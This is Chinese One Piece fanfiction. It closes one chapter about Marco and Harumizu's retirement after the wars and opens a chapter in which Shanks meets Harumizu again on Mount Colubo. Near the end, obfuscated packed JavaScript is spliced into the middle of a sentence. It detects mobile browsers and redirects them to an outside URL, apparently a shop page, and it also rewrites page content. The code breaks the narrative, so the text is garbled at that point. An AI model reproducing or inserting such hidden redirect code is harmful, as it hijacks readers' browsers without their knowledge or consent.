但红发海贼团带来的转机,去而复返的家人们的拼死救援……他们硬生生地将马尔科与春水拽了回来。 再次醒来,是在一个安静的小岛上,那是老爹的家乡——斯芬克斯岛。 阳光温暖,海风轻柔。 他们活下来了,留下不少暗伤,以堪称惨烈的方式——但终究是活下来了。 艾斯决定珍惜被家人们拼命带回的这条命。他出海开始了自己的修行,四处收集蒂奇的信息,发誓要手刃仇人,夺回老爹的震震果实。 他时不时会往家里寄来一些特产和有趣的见闻,听说前不久还去了趟德雷斯罗萨,为了帮一把弟弟和有恩于他们的罗。可惜只逮住了一个黑胡子海贼团的队长,叫什么巴杰斯的家伙。 他在电话虫里笑着和马尔科说,自己准备跟着罗一起行动,因为蒂奇好像很相中他的手术果实,干脆拿他打窝好了。 免费得了个贴身保镖的罗露出了一脸嫌弃的表情。 蒂奇那个狡猾的混账,待在莫比迪克号上将近三十年,清楚春水的实力和天克所有恶魔果实的「无我不断」。他从来不做没把握的事,一听说她醒了过来就立刻销声匿迹了,不知道又在酝酿着什么阴谋。 他的黑暗果实太过诡谲,虽然春水说过,艾斯完全可以放弃果实能力的对拼,直接利用霸气和体术碾压他——香克斯针对这一点对他进行过特训。 “放手让艾斯去吧,他总要自己解决这个心结。”她平静地道,“出了事我们兜底就好。” 但经历了顶上之战,马尔科还是很不放心。 他在春水无奈的眼神中与艾斯通过几次电话虫,不厌其烦地嘱咐他一有消息就及时告诉他们,千万不要逞英雄,被少年笑着一一应下了。 “好的母亲大人!对了!帮我和春水姐问好!” 在一旁的春水被这句“母亲大人”实实在在地逗笑了。 马尔科:“………” 这倒霉孩子究竟是跟谁学的? ……春水居然会被这种笑话逗乐吗?!喂!不要再笑了!! ………她怎么还在笑啊?!! 替她擦了擦她笑出来的眼泪,马尔科相当无语。 比斯塔和乔兹成了这座岛上一霸,整治起了不法分子。萨奇则是在岛上如愿开了家餐厅,生意很兴隆。以藏似乎是听到了和之国近期的消息,准备回去看看。 即使白胡子海贼团解散了,他们总是能找到让自己继续活下去的盼头。 宁静像一层温暖的绒毛,覆盖在斯芬克斯岛的每一天。 春水的脸上留下了无法完全褪去的焦痕,像战争的印记。马尔科也因正中了库赞的寒冰,落下了时不时腿痛的毛病。 虽然有再生之炎,那点微弱的疼痛不算什么,但春水敏锐地发现了——她的洞察力在这方面尤为惊人。 拗不过她,还因她的担忧倍感窝心,马尔科乖乖任她给自己套上护膝,开始了真正的“养老”生活。 他在靠近村庄边缘的地方开了家诊所,房子不大,但干净整洁,空气里常时间弥漫着淡淡的药草香。 不再是断腿断脚或是什么致命伤,大多是些村民的头疼脑热、劳作时的不慎扭伤,或是孩子们追逐打闹留下的皮外伤。 春水依旧如同安静的影子。她会帮比斯塔他们阻截犯人,帮萨奇采购食物,留意和之国和以藏的信息,记下艾斯的行程。 但更多的时候……她会选择静静地待在马尔科身边,帮他打打下手,采摘药草。 日子突然变得缓慢而平静。 朝阳从海平面升起,又伴着夕阳西下。日复一日,年复一年。 春水偶尔会望着大海出神。马尔科知道,那是在思念那个巍峨如山的身影。 有时,他会看着春水眺望远方的侧脸,伤疤在夕阳下显得格外清晰。 他突然……想不起来上一次见她真正拔刀出鞘,是在什么时候了。 这样就好。马尔科常常想,就这样过完余生,也挺好的。 没有纷争,没有战乱。不会受伤,不再流血。 能这样陪着她,在这片老爹守护过的天空下,慢慢老去。这就是马尔科所能想到的……最好的结局了。 然而,大海的浪潮永远不会真正停歇。 大概是在收到以藏来信的第二天,满身伤痕的猫蝮蛇顺着生命纸,踏月而来。 ——“如果要开始对凯多的讨伐,那就带上我一个吧。”记忆中艾斯提到这个消息时,马尔科是这么说的。 旧时的余烬似乎被风吹动,微微发亮。马尔科看到了春水眼中一闪而过的锋芒,那是刀锋出鞘前的反光。 虽然有些抱歉,但他下意识地想回绝。 ——一旦再次握紧刀柄,是否会唤醒那个在顶上战争中几近疯狂的灵魂? 但他没能说出口。 因为春水的眼神和那时一样,清澈、坚定,带着点询问,却早已有了答案。 她问:“以藏和艾斯都在,去吗?马尔科。” 和之国是她的师父——光月御田的埋骨之地,凯多则是伤害了家人的敌人。 他太了解她了,就像她了解他一样。他无法对和之国的惨状视而不见,无法对猫蝮蛇的请求无动于衷。 马尔科叹了口气,揉了揉眉心:“真是个会惹麻烦的笨蛋yoi。” 这句话,他说了三十年。 最终,两人还是一起登上了前往和之国的船。不是因为什么狗屁大义,只是因为,那里有需要帮助的家人。 重返大海的感觉既陌生又熟悉。他们的加入,或许改变不了大局,但至少能尽一份力。 和之国一战,比想象中更惨烈。 鬼岛的天空阴沉得如同顶上战场,「四皇」里的BIG MOM与凯多竟然组成了海贼同盟。艾斯与路飞联手对战凯多,春水再次挥刀,斩断了想背后偷袭的CP0的头颅,下一刀则是直直砍向一记「雷鸣八卦」将两个少年打回虚弱状态的凯多。 「奥义·无我不断」。 ——路飞需要十分钟?那就给他十分钟好了。 马尔科留在草帽海贼团的船医旁边,拼命催动再生之炎,帮忙控制扩散的病毒。 比起拼杀在第一线,他更多的是为了守护。守护那些年轻的、充满希望的脸庞,更守护那个总是冲在最前面的身影。 时代终究是滚滚向前的,年轻的少年们屡屡创造奇迹,似乎不需要他们几个旧时代的残党再冲上去拼命了。 他们看着路飞那个小子一次次倒下又站起,果实觉醒,奏响了传说中振奋人心的「解放之鼓」,最终将凯多轰入地底。 看着艾斯熟练地使用出师承香克斯、但最初使用者其实是他生父哥尔·D·罗杰的「神避」,击溃夏洛特·玲玲。 万千孔明灯飘落如雨,如同祭奠,也如同庆贺。 马尔科挥动双翼,悬停半空,背上是同样望向远方战场的春水。两人沉默地看着这一切,仿佛是两个时代的见证者。 ——终于,又结束了一场战斗。 他熟练地为春水和以藏包扎伤口,后者决定留在和之国,陪伴弟弟菊之丞,重建家园。 春水这一次只受了些轻伤——甚至在路飞恢复活力、重新投入战斗时,她的表情里还闪过了类似于“还没打够”的惋惜。 “十分钟……这么快吗?”她轻声问路飞,看样子颇有点让他再多休息一会儿的意味。 马尔科:“………春水。” 被白团最严厉的母亲狠狠地瞪了一眼,她这才默默收刀,老老实实地跟着他离开了战场。 和之国的港口边,硝烟尚未完全散尽。 两人挥手同草帽小子一伙与终于能独当一面、笑容依旧灿烂的弟弟艾斯告别。 看着艾斯和路飞勾肩搭背、吵吵嚷嚷地离开,马尔科长长舒了一口气,盘算着这次总算可以真正功成身退,回到斯芬克斯岛,继续他们的养老生活。 ——然而,命运似乎总喜欢在最后关头,和他开个玩笑。 就在马尔科刚刚放松的刹那,一股无比熟悉、无比磅礴的霸气由远及近。 雷德·佛斯号的船头,那个红头发的家伙又出现了。 他带着明朗的、此刻在马尔科眼里却碍眼之极的笑容,径直走向春水,邀她「赴约」。 那是关于拉夫德鲁的真相。神之骑士团,五老星,伊姆……这些名字背后所代表的,是笼罩了整个世界长达八百年的巨大阴影。 “这是最后一战了,春水。”香克斯的语气是罕见的郑重。 马尔科在一旁听着,心里那把无名火“噌”得冒了起来。 ——这家伙!偏偏在这个时候!不用想都知道那会是一场多么危险的战争!! 抱怨与担忧在胸腔里翻滚,但马尔科终究没有说出口。 覆巢之下,焉有完卵。 当世界秩序的根基都在动摇,没有人能够置身事外。这一仗,一定要打,一定要赢。 果然,春水的手无声地、坚定地搭在了刀柄上。这个动作,已经说明了一切。 “好啊。” 她回答得平淡,一如数年前,接受了香克斯想要关于围巾的要求一样。没有犹豫,没有追问,只是平淡地同意了。 马尔科安静地在旁边看着,没再出声阻拦——他只是看着,心中五味杂陈。 他突然回忆起了二十多年以前,离开桑塔尼亚岛的那个晚上,当时的自己刚刚意识到那份越界的占有欲的根源,几乎一整晚都在为春水对香克斯的那份「特殊关注」所不满、焦躁、甚至是嫉妒。 而此刻,再次直面这份「特殊关注」,他心头翻涌的情绪比那时更甚。 怎么完全没有长进啊,马尔科。这二十多年光长肌肉没长脑子吗?!他低低骂着自己。 ……只是……后续的情况,似乎和当时有些不同了。 ——因为马尔科看到了春水少有的、带着笑意望过来的双眼。 “走吧,马尔科。” 她说道,语气是如此的自然,如此的理所应当,仿佛笃定了他一定会同行,再次一起赌上性命。 它像是一根引线,瞬间点燃了马尔科心底积压的不爽——一种混合着担忧、无奈、以及“凭什么香克斯那混蛋一来你就毫不犹豫跟着走”的别扭情绪。 冲动地像是替二十多年前没胆子开口、只敢喝一晚上闷酒的自己出头。他避开春水的视线,几乎赌气地脱口而出: “我为什么要去?当初答应他的又不是我yoi!” ——话一出口,他就后悔了。这听起来多么幼稚,多么不合时宜。 算了。反正春水也只会是带着点疑惑的沉默,或者干脆说“那我自己去,你先回斯芬克斯岛。”——反正结局也会是这样吧。 算了。 一厢情愿也好,对牛弹琴也罢。他放不下她,从来都放不下。 很深很深地吸了一口气,马尔科已经做好了下一步应对的准备。然而,预想中的沉默或者疑惑并没有到来。 ——他的脸,被一双带着薄茧的手轻轻捧住了。 那双手,慢慢地、不容拒绝地、将他的脸扳了回来,迫使他直视她。 春水眼中的笑意更深了,嘴角弯起的弧度,甚至带着点显而易见的揶揄。 “真的不去吗?马尔科。”她重复着他的问题,“你不是,不喜欢我和红发走太近吗?” 马尔科瞬间瞪大了眼睛,震惊得几乎失语。 她……她怎么……?! 他的瞳孔微微放大,舌头像是打了结,一个字也说不出来,只能呆呆地望着她。 她知道了?!她什么时候知道的?! ………她还知道些什么??! 似乎是被他这副目瞪口呆、完全懵了的模样逗笑,春水露出了一个完全不加以掩饰的、明亮的笑容。 “为什么呢,马尔科。”她看着他的眼睛,一字一句,清晰地说道,“为什么呢?你好像真的认为我是个傻子。” 马尔科回答的磕磕绊绊:“……倒……倒也……” 春水的笑容扩大了。 她依然用双手轻轻捧住他的脸,不让他有丝毫逃避的可能——然后她缓缓靠近,眼睫低垂,与他的额头相抵。 她的语气变得异常温和,笑容恬淡,那是只在认真做出承诺时才会有的语调。 “走吧,马尔科。这一次以后,一起回家吧。我们开始‘养老’——只有你和我,不会再有第三个人。” “……马尔科,你愿意吗?” 那一刻,什么战争,什么香克斯,什么别扭和不爽,全都从马尔科的脑海里消失了。 他望着近在咫尺的心上人,听着那句他期盼了半辈子的、关于“只有你和我、没有第三个人”的未来——除了像个傻瓜一样用力点头之外,他完完全全做不出任何其他反应。 他想,他真的等了这句话很多年。 “……我愿意。”在香克斯那混蛋小子毫不掩饰的笑声里,他用力地点头,声音突然很哑,“春水,我啊,二十多年前就愿意了。”* 最终之战的惨烈,超越了和之国的讨伐战,超越了顶上战争。 马尔科依旧作为医生、作为最强的机动力量,四处救援,最大程度地减少了友方的伤亡。春水的能力则能斩断伊姆与其下所有使者的「联系」,进而终结他们的不死之身。 霸王色凝成实质,轰鸣如雷,狂乱地撕裂万物。 ——「无我不断」。 「解放之鼓」再次奏响,路飞的身后站着几乎所有种族的战士——乔伊波伊的意志完完整整地传承了下来,年轻的少年们最终创造了奇迹。 古代兵器被依次唤醒,伊姆的统治崩塌,圣地玛丽乔亚被碾碎再缓缓重建,世界贵族天龙人们被他们所瞧不起的奴隶们一拥而上,碾成了灰烬。 马尔科和春水近乎脱力地相携站在废墟之上,望着逐渐放晴的天空。 ——这一次,是真的结束了。 雷德·福斯号将他们带回斯芬克斯岛时,香克斯那小子大笑着同春水耳语几句,又去看了看老爹,也摆摆手离开了。 明明这次伤得很重。但很奇怪,马尔科的内心却比任何时候都要轻松。 只有他与春水的养老生活,就这么慢慢地、过了很多很多年。 阳光依旧温暖,海风依旧咸涩。春水脸上的焦痕旁又添了新疤。某天她从信箱里取到了艾斯送来的酒,说是想给他们和老爹尝尝。 自从路飞如愿成为了「海贼王」——这个世界最自由的男人,艾斯似乎更爱冒险了。 听说他几年前还碰上了个和逝去的兄弟「萨博」同名又长相相似的人,是革命军的首领。 三个人臭味相投,很快哥仨好地凑在了一起,像风一样在大海上闯荡。 艾斯总是不定时地往家里寄来包裹,里面可能是某个奇异岛屿的果实,可能是一块闪烁着光芒的石头,也可能是他们自己觉得好玩、但旁人完全get不到的艺术品。 附带的信纸往往字迹潦草,充斥着“哈哈哈”和语焉不详的描述,让人看了一头雾水。 马尔科坐在老爹墓前,将年轻一代们绘制的世界航海图展示给他看。春水则笑着,将艾斯带来的那瓶酒为老爹斟满一碗。 ——自从彻底放下了白胡子海贼团「利刃」的责任,在这片安宁和平的小岛上,她的笑容肉眼可见地格外多,格外轻松。 回程的路上,马尔科故作平静地问起那个盘旋在心头多年的疑问: “春水,你、咳、你从什么时候发现的,我……我不太喜欢你和红发那家伙……咳。” 春水被他那装作不经意、实则每个音节都在意得不行的语气再一次逗笑了。 “从什么时候开始呢……”她故意拉长了语调,欣赏着他瞬间绷紧的神情,慢悠悠地逗他,“大概是桑塔尼亚岛那个晚上,你为这个事拉着比斯塔他们喝了一晚上闷酒开始吧。” 她撑着脸,好整以暇地看着马尔科,果然见到他的耳根以肉眼可见的速度迅速红透,一直蔓延到脖颈。 唉……她就这么一猜,没想到还真是那时候啊? 明明是年过半百、经历过无数生死场面的男人,在这种事情上,脸皮却依然薄得如同情窦初开的少年。 ——其实啊,她那时候还没完全意识到,那意味着什么。 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春水花了点时间才理解,马尔科不喜欢香克斯靠近自己。 这个认知让春水实实在在地感到了困惑。 为什么马尔科会如此在意香克斯? 她尝试去理解。就像她不喜欢有人未经允许碰她的刀,马尔科是不是也……不喜欢有人“触碰”她? 这个类比让她觉得有点奇怪,但又似乎是唯一合理的解释。 她观察过马尔科对待其他试图靠近她的人。对于船上的伙伴,他是宽容甚至鼓励的。对于敌人或未知的陌生人,他是冰冷而警惕的。 可唯独对香克斯……那是一种混杂着不爽、戒备,甚至还有点……委屈的复杂情绪。 很像村里那些护着自家小鸡崽,对着任何靠近的、哪怕是并无恶意的陌生人都要竖起羽毛的鸡妈妈。 这个联想让她觉得有点好笑。 “有点幼稚。”这是春水的第一感觉。 但她并不讨厌。 相反,她觉得有点……新奇。 ——“他好像,很担心我被抢走?” 马尔科在担心自己被红发拐去作伙伴吗? 可是她无论如何也不会离开他的啊。 他……是不信任自己吗……? 如果一年不够的话,那就十年、二十年、一百年,这总够马尔科相信了吧……? 于是,春水给出了她的答复。 默许马尔科越来越「粘人」的行为和习惯,纵容他对香克斯的幼稚的敌意和防备,几乎是耐心地参与比斯塔和萨奇那俩凑热闹的家伙,顶着「马尔科」的名义设计的各种闹剧。 她就像看了一场持续了二十多年的、节奏混乱却永不谢幕的喜剧。而马尔科,永远是台上那个最手忙脚乱的主角。 据说有“千年难得一遇的流星雨”那个晚上,望着天空中乌云密布,电闪雷鸣,春水甚至觉得有点好笑。 她并不在乎什么流星雨,只是觉得马尔科强撑着的样子,比任何事都要有趣得多——她甚至配合地在雷声中站了半小时,纯粹是为了多看一会儿马尔科那副“我好无语我好想逃我好想杀了比斯塔但我不能”的表情。 “好可爱啊。”她盯着他调色盘一样变来变去的脸,心里在笑着叹息,“这个人怎么能这么可爱啊?究竟怎么做到的,他是有什么秘笈吗?” 当最终决战前,香克斯来邀约,春水看到了马尔科那副明明担心得要死、却强忍着不阻拦的样子。 她知道,这人又开始了。 “怎么还在为这种事而耿耿于怀啊。”她突然有点想叹气了。 马尔科那句赌气的“我为什么要去”,在她听来,简直像是在说“你快点来哄我”。 ………好吧,那就哄哄他。 奇怪,难道她表现的还不够明显吗? 那……那做出承诺总行了吧? 这次总该相信她了吧,笨蛋马尔科。 捧住他的脸,强迫他看着自己,许下「同生共死」的下一个承诺——「只有你和我的未来」。 看着马尔科瞬间呆住、被顺了毛然后只会傻傻点头的样子,春水心里那点无奈,仿佛被冲淡了些。 这个人啊……究竟要迟钝到什么地步呢? ——只有他们两个人的未来这种事,从她遇见他开始,不就已经注定了吗? 哪里来的第三个人呢,马尔科? 从始至终,有且只有你一个人啊。 ——欸,奇怪。难道她表现的还不够明显吗? “从什么时候开始呢……”春水故意拉长了语调,欣赏着马尔科瞬间绷紧的神情,慢悠悠地逗他,“大概是桑塔尼亚岛那个晚上,你为这个事拉着比斯塔他们喝了一晚上闷酒开始吧。” 马尔科涨红了脸,被她看得浑身不自在,尴尬地咳嗽了一声,试图掩饰:“……那么久远的事情,谁还记得清yoi。” 月光下,这人的脸红得像煮熟的虾子。 春水看着他一秒钟八百个小动作和故作镇定的侧脸,牵住了他的手,十指相扣,力道温和而坚定。 “不记得就算了。”她决定好心地放他一马,不再继续逗他,“回家了。” ——好了,这下子这人脸更红了。 不知怎的,春水想起了最终之战结束后,香克斯低声耳语的那句:“春水,你不觉得看马尔科变脸……真的很有意思吗?” 当时她没太往心里去,现在回想起来,忽然觉得…… ——红发有一点倒是没说错。 看马尔科变脸,尤其是这种被戳穿小心思、强装镇定却漏洞百出的样子。 确实是……怪好玩的。 海风拂过,带来咸涩的气息。 春水任由马尔科以近乎环抱的姿势、披上了带着他体温的外套。他红着耳朵,重新牵住了她的手。 诊所外的不远处,就是他们的家。一栋不算大,但结实温暖的房子,窗子里透出橘黄色的灯光。 家门口栓着一只狗,正殷切地注视着他们,尾巴欢快地摇动着——那是前段时间乔兹从一伙人贩子手里救下来的。 他和比斯塔最近正忙着四处捣毁奴隶拍卖所的窝点,实在无暇照顾,便暂时寄养在这里。 因为这狗头顶有几撮翘起的毛发,神似某种水果……或者说某人,萨奇就笑嘻嘻地给它取名叫「菠萝仔」,还总会特意带着上好的肉肠来看它。 虽然马尔科不喜欢这个名字,但春水却意外地很招「菠萝仔」的喜欢。 这大家伙总是亦步亦趋地跟在她身后,像个忠诚的小尾巴,仿佛认定了她是这个家里最需要守护的存在。 “你俩,简直一模一样。”萨奇曾笑嘻嘻地指了指跟在春水身后的一人一狗,然后在马尔科一记毫不留情的踢击下光速遁走。 解开绳索,「菠萝仔」亲昵地蹭了蹭春水的手,又围着马尔科转了两圈,才跟着他们一起走向那扇透着光的门。 他们都知道,大海永远不会真正平静,但属于他们的战争,已经彻底落幕了。 这一次,不会再有任何人、任何事来打破这份宁静了。 原白胡子海贼团的「王下双翼」,曾经海上最强的男人的「右腕」,将真正地,在这片有他们的老爹长眠的海域旁。 听着潮起潮落,看着日升月沉,在彼此的陪伴下,慢慢地、平静地变老。 灯光将两人的身影拉长,交融在门前的土地上。 马尔科侧头,看着春水被灯光柔化的侧脸,看着她黑发中的一缕白色,看着她伸手轻轻抚摸着「菠萝仔」的脑袋,再抬头看向自己。 “马尔科。”她轻轻地笑着,喊他的名字,声音温和得不像话。 我们会永永远远在一起。 直到垂垂老矣,直到白发苍苍,直到满脸皱纹直不起腰来。 ——直到死亡——不,即使是死亡,也无法将我们分开。 “我们会永远永远在一起。” 他在心里轻声说道,然后与她一同,踏入了那片属于他们的、温暖而平凡的「未来」。 12. 姐姐,你这个骗子 请选择你的出生地点:罗杰海贼团 请选择你的天赋技能:果实觉醒·顶级见闻色=「织命手·命线编纂」 几句话简介: 小时候一直暗恋的姐姐突然消失了十年后,再次相逢,病恹恹的美人带着点困扰地笑,摸了摸自己的头——这谁顶得住啊家人们 成为了海贼且深谙想得到就去抢的道理,香克斯抓住那双苍白纤瘦、体温偏低的手,十指交缠,下一秒抬头笑着发出邀请:“要不要做我的伙伴,一起去航海啊,春水……姐。” 东海的风车村,阳光正好。 科尔波山上的空气带着林木的清新和一点令人意外的烟火气,那是一大家子人常年生活在此的痕迹。 为了解救刚认识就被山贼掳走的小孩「蒙奇·D·路飞」,香克斯带着伙伴们,顺手剿灭了以「西格」为首的一群不长眼的山贼。 头目西格是个狡诈又胆小的家伙,舍弃了同伴们独自逃生,短期内想必不敢再回风车村了。 这种小事无需船长出手,副船长本·贝克曼主导了这次剿匪行动,高效而利落。 凭着出色的情报收集能力,他很快锁定了另外一伙山贼「达旦一家」,首领「卡利·达旦」的悬赏金与西格不相上下,算是科尔波山的两位地头蛇之一。 “头儿,要去看一眼吗?另一伙山贼。”贝克曼扛着那把标志性的来、复、枪,语气平静。 来都来了,杀一窝杀两窝还不都是随手的事。 “去打个招呼吧。”草帽松松垮垮地挂在颈后,香克斯不知道从哪儿捡了根长长的树枝,笑容懒散闲适,“接下来还要在风车村驻扎一年,希望那是群懂规矩的。” 「达旦一家」的据点并不难找,那是一座倚着河边搭建的、略显简陋却规模不小的木屋。屋前一片空地上,山贼们撸胳膊挽袖子,干农活、捕鱼、喂鸡喂鸭,忙得热火朝天。 炊烟袅袅,饭菜的香气隐约飘来。 甚至,还有一个坐在阳光下,带着温柔笑意,正轻声给男孩读着故事书的……年轻母亲? 与其说是凶神恶煞的山贼,倒不如说他们只是一群在此地扎根的村民,各个安居乐业。闻不到硝烟与血腥味,只有一股扑面而来的、热腾腾的生活气息。 接地气得简直不像是被海军悬赏的人物啊……这群人。 他们是不是找错位置了? 以见闻色霸气闻名的狙击手耶稣布放下了望远镜,笑嘻嘻地汇报:“看着都是些老实过日子的家伙。” 拉基·路吸了吸鼻子,胖乎乎的脸上露出陶醉的表情:“这煮的是筒子骨汤吧?真香啊!” 贝克曼目光扫过,大致确认了情况,将望远镜随手抛给香克斯:“你鼻子倒灵。别打扰人家吃饭了,走了,头儿。” “确实挺香的。”香克斯饶有兴致地接过望远镜,懒洋洋地掠过煮着肉汤的铁锅,最终,停在那个轻抚孩子发顶的女人身上。 苍白又纤细,她看着不像是山贼。 他的目光定在那只手上,皱了皱眉,视线上移,对上了一双标志性的黄金瞳。 她在回看他。 ——那是绝对不应该出现在这里的女人。 那是——! 认出她的一刹那,香克斯轻松的笑意僵在了脸上。 “她发现我们了。那是……见闻色吗?”几乎在同一时刻,耶稣布皱起了眉。 年轻的母亲敛了笑意,平静抬眼,目光如精准的箭矢,锋锐果决,穿透山林与斑驳的树影,直直对上他们。 下一秒,认出了香克斯,她明显愣住了。 真的是她?真的是春水?! 她怎么会…… 香克斯的瞳孔因错愕而骤然收缩。 时间,仿佛在这一刻被硬生生掐断了。望远镜两端,两个人的表情是如出一辙的、耐人寻味的空白。 “……香……克斯……?”几乎要被尘封的名字,从她颤抖的唇间逸出,轻得如同叹息。 时隔多年,遍寻无果,甚至已经打算放弃、等待着从某处传来她死讯的时候…… 命运同他开了个大玩笑。 ——在这个东海平平无奇的小村子里,香克斯居然……再一次见到了春水。 那个在罗杰船长被公开处刑后,向自己做出“如果我不死,一定会去找你”的承诺,然后便如同人间蒸发般,消失了整整十年的女人。 在香克斯记忆中永远鲜活、如同出鞘利刃般的春水姐,此刻正坐在一片俗世的烟火气里,安静地凝望着他。 她清瘦得厉害,曾经利落的短发已长及腰际,温柔地披散着,那张脸毫无血色,白得近乎透明。 曾经雪亮锐利,能洞察一切的双眼,如今蒙上了一层薄雾,带着倦意和病气。 但这些都不是最致命的冲击。 最让香克斯震惊到近乎失声的,是赖在她膝盖边的男孩。 黑色卷发、脸上点缀着雀斑。 他看上去,大概十岁左右。 ……十岁。 算上怀胎的大半年,那正好是春水姐与自己分别的时间。 ……一切都对的上。 那一刻,香克斯的脑子里“嗡”的一声,一片空白。心脏突然被狠狠攥住,全身血液都在冻结。 ——那孩子……是她的孩子? 这个认知如同最冰冷的海水,瞬间淹没了他。 ——十年,整整十年。在三千多个日日夜夜里,那份逐渐清晰却无处安放的「暗恋」,在这一刻,被彻底击得粉碎。 她消失了十年。 原来是舍弃了海贼的身份,舍弃了他们的过去,回到了平凡的生活。 嫁为人妇,生儿育女。 ——为什么呢,春水……姐? 奥罗·杰克逊号上,十五年的朝夕相处,相依为命……能够如此轻易地放下? 如果能这么轻易地抛下,当初……当初又是为什么,还能那么认真地同自己做出承诺呢。 骗子。 不是说过,一定会来找我吗……我们明明约定过的。姐姐,你这个骗子。 一种剧烈的、尖锐的、混合着失落与痛苦,以及某种被彻底背叛的怒火,在他胸腔里疯狂地冲撞撕扯。 香克斯用力地呼吸着,完全笑不出来了。 他听到了什么东西碎裂的声音。再看向春水那苍白的脸,只觉得无比刺眼。 带着冷冽的杀意,他甚至不受控制地、带着一种阴暗的嫉恨,迅速扫向她周围的男人: 那个混账是谁? 凭什么能让她甘心放弃大海,洗手作羹汤? 他配得上她吗? 是她身边的哪个山贼吗? 为什么会让她变得如此清瘦憔悴? 是那个男人没有好好照顾她吗? 如果……如果那个混账对她不好…… 香克斯向前几步,手指无意识地攥紧了格里芬的剑柄——那就以海贼的方式,让他付出代价。 然后。 “——取而代之。” 这个念头如同野火般燃起。 他用力地闭了闭眼睛,迅速调整好表情,笑着走向了那对温馨得刺眼的母子: “春水姐!好久不见!!” 是个人都能察觉到香克斯一瞬间迸发出的冰冷杀意——而且,那并非针对那位年轻的母亲。 头儿这是咋了?和谁有仇吗?这是要开战的意思吗? 春水……?那不是他……啊,就是她吗?她就是春水吗? 喔……所以人家已经…… 怪不得他—— 看了看那对母子,又想起头儿每次提起姐姐春水时的语气,红发海贼团的干部们瞬间了悟。 他们面面相觑,带着点微妙的同情,跟着船长靠近山贼之家。 一群手持刀枪的陌生男人突兀的出现,自然引起了达旦一家的骚动。 “干嘛?想打架吗?!”山贼们立刻绷紧神经,聚拢过来,警惕地抄起武器。 达旦更是丢下农具,“呸”一声吐掉了嘴里的狗尾草,眼神凶狠:“就是你们吗?刚干掉了西格那群蠢货的海贼们?!” 看这架势就知道来者不善,她也不是好惹的。 想着干脆先下手为强,达旦举起了火枪,却被一只手轻轻按下了。 春水的目光在香克斯的脸上停留了许久才回过神,及时制止了冲突:“达旦姐,大家,没事的。” 而这时,几步绕开戒备的山贼们,香克斯已经大步窜到了她的面前。 记忆中还带着点婴儿肥,需要仰头看她的傻小子,如今已完全变了模样,面容褪去了青涩,身姿高大又挺拔。 ——但为什么呢。 那样眼巴巴的,急于确认着什么,带着明显的委屈和渴望,小狗似的往她身边凑的姿态—— 都好像和从前一模一样,分毫未变啊。 “不是敌人,他是我的弟弟。”她望着那双骤然明亮的眼睛,听见了自己的声音。 命运的轨迹按照设定好的路线行进着。她冻结的时间,在与他重逢的这一刻重新流动了起来。 ……十年过去了,这孩子的变化真的好大。 可她还是一眼就认出他来了。 他一定会很难过吧。可是…… ……对不起啊,香克斯。对不起,请原谅姐姐任性的决定。都是姐姐的错。 被那声「春水姐」喊得心口又酸又软,春水咬牙克制住汹涌的歉意与愧疚,只遵循身体的本能。 ——她摸了摸香克斯的头。 “你长高了好多啊,真好。”她的声音依旧温和,隐隐带着颤抖,“好久不见……香克斯。” 他的发质比以前更硬了些,但手感依旧熟悉。 “那是当然啊,因为已经分开了十年零三个月了。”香克斯站在那里,不闪不避,任由她的手指穿过发丝,落在了他的发顶。 这样亲昵的碰触,还真是……很怀念啊。 ——姐姐,那个让你舍弃了我们的人,那个该死的混账东西……究竟是谁呢? 久别重逢,心底翻滚着冰冷的怒气与杀意。他努力咽下它们,乖乖蹲在了暗恋多年的姐姐面前,像一头努力收起利爪、伪装成温顺大猫的雄狮。 他甚至主动在她掌心蹭了蹭,看得伙伴们一阵牙疼,不忍直视地纷纷别过了头。 “……我啊。”香克斯轻声道,每一个字都念的很艰难,“是真的、真的很想你啊,春水……姐。” 闻言,春水一怔,轻轻地叹了一口气。 ……其实,其实她也是啊。 虽然不明白为什么这群海贼的表情一个赛一个的奇怪,还时不时偷瞄一眼春水和艾斯的方向,一副欲言又止的模样。 但确定了他们没有敌意,由马古拉和多古拉负责活跃气氛,山贼们很快放松了下来。 从剑拔弩张到和乐融融,香克斯按住了想帮忙的春水,带着伙伴们自我介绍一番,自来熟地帮忙处理起了食材,一点也不见外。 厨师拉基·路大展身手,用一桌美食迅速俘虏了达旦一家的胃。吃饱喝足后,一大家子人坐在草坪上,享受着午后温暖的阳光。 “所以,你过得好吗?”香克斯无视了面露警惕和戒备的艾斯,凑到春水身边。 时间仿佛在这一刻被拉长,扭曲,最终定格在了女人沉静的侧脸上。 她的笑容依旧平和恬静,如同广袤无波的大海。只是手上的刀茧消失了,腰间也不再佩着那把视若珍宝的刀「格伦」了。 ……她不再握刀了吗? 明明是那么有天赋的剑士,明明被雷利先生和罗杰船长赞同过无数次。 ——春水姐,完完全全就像是变了一个人。 这些年来,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493581|202364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 究竟发生了什么?为什么一点消息都没有? 应该是经历了一场恶战,伤势沉重到需要休养至今。 不来找自己,也不联系雷利先生他们,像人间蒸发一样。春水——最注重承诺的人,她一定是有苦衷的。 那么几乎是可以肯定了……和这孩子,以及他的父亲有关。香克斯冷冷地看了一眼艾斯,得到了男孩同样冰冷的一记眼刀。 两个人发自心底地认为对方相当碍事且不顺眼。 感受到了双方毫不掩饰的敌意,春水带着点困扰地笑,朝香克斯道歉:“我在这里……过得很好。对不起,没有联系你们,我很抱歉。” 看出了她有难言之隐,香克斯摆手笑了笑,不再追问:“别这么说啊,是我的名号还不够响亮。不过,再过几年就会传遍世界了。” 他依然笑着,把狂妄的话说得轻描淡写,让春水恍惚间看到了另一个人的影子。 “小春水,来这里。”高大的男人笑着朝她伸出手,背后的海贼旗猎猎作响。 同样有着强大的自信与征服一切的锐气。他们,真的越来越像了。 船长……您看到了吗?香克斯这孩子,真的长大了。 回忆起罗杰船长,她忍不住摸了摸艾斯的头。在外人面前被如此对待,少年害羞地趴在了姐姐的膝头,将涨红的脸深深埋进了臂弯里。 呵,母子感情真好呢。 ……那里一直是他专属的位置,如今却被这小鬼霸占了。 想到这里,香克斯望向艾斯的眼神更加冰冷了。 